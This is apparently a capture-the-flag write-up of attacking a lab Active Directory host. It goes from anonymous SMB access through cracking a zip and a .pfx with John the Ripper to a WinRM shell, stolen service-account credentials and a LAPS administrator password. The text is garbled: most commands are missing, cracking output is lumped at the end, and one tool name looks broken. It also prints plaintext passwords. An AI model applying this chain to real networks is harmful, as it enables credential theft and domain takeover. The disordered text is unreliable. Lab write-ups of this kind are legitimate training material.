nmap revealed the following port 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5986, 9389, 49667, 49674, 49693, 53255
when querying for service and version information it returns
we can access smb with anonymous access. In SMB, there is a share called Shares, in Shares\Dev there is a file called winrm_backup.zip(from my experience, it would probably be of a cer).
After moving it to my system, I realized it was password-protected, so first I extracted its hash using
now crack it using johntheripper, using
cracked hash revealed the password to be "supremelegacy".
Inside this zip file there was a legacyy_dev_auth.pfx, which was again password protected. I extracted it's hash using
and cracked the password using
Now I extracted the private key file using
and entered the password "thuglegacy" when prompted
now we can easily get a shell using this key file and Evil-WinRM using
Now checking the powershell history using
we get
this gave us username and password svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
now using these credentials.
We will login Evil-Winrm
Using net user svc_deploy we can see that svc_deploy is a part of LAPS_Readers group (LAPS is used to manage local account passwords of AD computers).
Using AdmPwd.PS we can exploit LAPS rights and and get the clear text password.
To first see which objects can be managed by LAPS we can use the following command
it gives us
Now we will get the clear-text password using
It gives us the password and using that password in Evil-WinRM we can easily get the root flag
john --wordlist=rockyou.txt winrm.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2026-02-28 08:10) 3.333g/s 11578Kp/s 11578Kc/s 11578KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
john2pfx legacyy_dev_auth.pfx pfx.hash
john --wordlist=rockyou.txt pfx.hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:29 DONE (2026-02-28 08:14) 0.03350g/s 108266p/s 108266c/s 108266C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.